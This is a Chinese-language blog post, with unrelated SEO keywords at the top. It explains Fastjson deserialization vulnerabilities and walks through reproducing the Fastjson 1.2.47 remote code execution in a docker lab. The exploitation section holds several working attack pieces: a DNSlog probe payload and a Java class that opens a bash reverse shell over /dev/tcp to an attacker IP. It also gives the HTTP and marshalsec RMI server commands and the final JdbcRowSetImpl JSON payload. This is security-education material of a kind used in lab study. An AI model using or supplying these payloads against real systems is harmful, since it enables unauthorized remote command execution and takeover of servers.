手机单页网站通用模板,月光博客 网站模板,交换链接适用于哪些网站,企业网站建设策划方案文章目录 一、概念二、Fastjson-历史漏洞三、漏洞原理四、Fastjson特征五、Fastjson1.2.47漏洞复现1.搭建环境2.漏洞验证#xff08;利用 dnslog#xff09;3.漏洞利用1)Fastjson反弹shell2)启动HTTP服务器3)启动LDAP服务4)启动shell反弹监听5)Burp发送反弹shell 一、概念
啥… 文章目录 一、概念二、Fastjson-历史漏洞三、漏洞原理四、Fastjson特征五、Fastjson1.2.47漏洞复现1.搭建环境2.漏洞验证利用 dnslog3.漏洞利用1)Fastjson反弹shell2)启动HTTP服务器3)启动LDAP服务4)启动shell反弹监听5)Burp发送反弹shell 一、概念
啥是json?json全称是JavaScript object notation。即JavaScript对象标记法使用键值对进行信息的存储。 举个简单的例子如下 { “name”:“BossFrank”, “age”:23, “media”:[“CSDN”,“bilibili”,“Github”] } json本质就是一种字符串用于信息的存储和交换。
二、Fastjson-历史漏洞
Fastjson 1.2.24 反序列化远程命令执行漏洞 1.2.24fastjson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。 Fastjson 1.2.41 反序列化远程命令执行漏洞 Fastjson 1.2.42 反序列化远程命令执行漏洞 Fastjson 1.2.43 反序列化远程命令执行漏洞 Fastjson 1.2.45 反序列化远程命令执行漏洞 Fastjson 1.2.47 反序列化远程命令执行漏洞 1.2.47fastjson于1.2.24版本后增加了反序列化白名单而在1.2.48以前的版本中攻击者可以利用特殊构造的json字符串绕过白名单检测成功执行任意命令。 Fastjson 1.2.62 反序列化远程命令执行漏洞 Fastjson 1.2.66 反序列化远程命令执行漏洞
三、漏洞原理
假设有如下两个类
实例化对象之后假设苹果对象的price为0.5Apple类对象序列化为json格式后为 {“Fruit”:{“price”:0.5}} 假设iphone对象的price为5000,序列化为json格式后为{“Fruit”:{“price”:5000}} 当一个类只有一个接口的时候将这个类的对象序列化的时候就会将子类抹去apple/iphone 只保留接口的类型(Fruit)最后导致反序列化时无法得到原始类型。本例中将两个json再反序列化生成java对象的时候无法区分原始类是apple还是iphone。
为了解决上述问题 fastjson引入了基于属性AutoType即在序列化的时候先把原始类型记录下来使用type的键记录原始类型。 在本例中引入AutoType后Apple类对象序列化为json格式后为 { “fruit”:{ “type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } } 引入AutoType后iphone类对象序列化为json格式后为 { “fruit”:{ “type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } } 这样在反序列化的时候就可以区分原始的类了。 使用AutoType功能进行序列化的JSON字符会带有一个type来标记其字符的原始类型在反序列化的时候会读取这个type来试图把JSON内容反序列化到对象并且会调用这个库的setter或者getter方法然而type的类有可能被恶意构造只需要合理构造一个JSON使用type指定一个想要的攻击类库就可以实现攻击。 fastJSON在反序列化时可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍如果此时这四个方法中有危险操作则会导致反序列化漏洞也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。 攻击者准备rmi服务和web服务将rmi绝对路径注入到lookup方法中受害者JNDI接口会指向攻击者控制rmi服务器JNDI接口向攻击者控制web服务器远程加载恶意代码执行构造函数形成RCE。 常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl其中有个dataSourceName方法支持传入一个rmi的源只要解析其中的url就会支持远程调用 因此整个漏洞复现的原理过程就是 1、攻击者我们访问存在fastjson漏洞的目标靶机网站通过burpsuite抓包改包以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。 2、存在漏洞的靶机对json反序列化时候会加载执行我们构造的恶意信息(访问rmi服务器)靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器靶机服务器需要执行什么命令啊 3、rmi 服务器请求加载远程机器的class这个远程机器是我们搭建好的恶意站点提前将漏洞利用的代码编译得到.class文件并上传至恶意站点得到攻击者我们构造好的命令pingdnslog或者创建文件或者反弹shell啥的 4、rmi将远程加载得到的class恶意代码作为响应返回给靶机服务器。 5、靶机服务器执行了恶意代码被攻击者成功利用。
四、Fastjson特征
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了
五、Fastjson1.2.47漏洞复现
影响范围 Fastjson 1.2.48
1.搭建环境
docker-compose up -d
2.漏洞验证利用 dnslog bp抓包
将Get改成Post 添加如下内容 Content-Type: application/json Content-Length: 80
{ “a”:{ “type”:“java.net.Inet4Address”, “val”:“25gb44.dnslog.cn” } }
执行后dnslog得到回显说明存在漏洞
3.漏洞利用
攻击流程制作反弹Payload - 开启HTTP服务 - 启动LDAP服务 - 监听EXP中端口 - 执行Payload
1)Fastjson反弹shell
编译恶意代码通过javac TouchFile.java 编译成class文件将编译好的class上传至你的web服务器
import java.lang.Runtime;
import java.lang.Process;
public class payload {
static {
try {Runtime rt Runtime.getRuntime();
String[] commands {bash, -c, bash -i /dev/tcp/192.168.155.2/1111 01};
Process pc rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}2)启动HTTP服务器
poc python3 -m http.server 8089 py3 python -m SimpleHTTPServer 8088 py2 启动http服务的目的是给TouchFile.class提供下载假如我们在浏览器直接输入url时,它就会自动下载.class文件 3)启动LDAP服务
使用marshalsec开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.155.2:8089/#payload” 9999
4)启动shell反弹监听 5)Burp发送反弹shell
{ “b”:{ “type”:“com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:“rmi://192.168.155.2:9999/payload”, “autoCommit”:true } }